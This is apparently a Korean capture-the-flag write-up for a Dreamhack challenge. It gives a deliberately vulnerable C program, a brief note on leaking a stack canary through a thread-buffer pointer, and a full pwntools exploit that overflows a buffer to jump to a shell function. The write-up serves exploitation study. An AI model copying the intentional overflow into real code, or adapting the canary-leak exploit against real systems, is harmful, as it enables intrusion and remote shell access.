뭔가 canary 문제는 그래도 쉬운 감이 있다. overwrite 하거나 leak 하거나 ..
// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size;
pthread_t thread_t;
size_t idx;
char leave_comment[32];
initialize();
while(1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
(1) -> (2) 를 하게 되면 global_buffer는 thread_routine 내의 buf 주소를 가지게 된다.
따라서 canary leak을 할 수 있게 된다. (fs_base + 0x28 주소를 읽어보면 되겠다.)
그 후 main의 ret를 조작해주면 ? "끝 ."
from pwn import *
p = remote('host3.dreamhack.games', 22338)
get_shell_addr = 0x400a4a
p.recvuntil('> ')
p.sendline(str(1))
p.recvuntil('> ')
p.sendline(str(2))
p.recvuntil('Size: ')
p.sendline(str(0x8e9))
p.recvuntil('Data: ')
payload = 'A' * 0x8e9
p.send(payload)
#p.interactive()
p.recvuntil('Data: ' + payload)
canary = u64('\x00' + p.recvn(7))
print('canary : ' + str(hex(canary)))
p.sendline(str(3))
p.recvuntil('Leave comment: ')
payload = 'a' * 0x28
payload += p64(canary)
payload += 'a'*8
payload += p64(get_shell_addr)
p.send(payload)
p.interactive()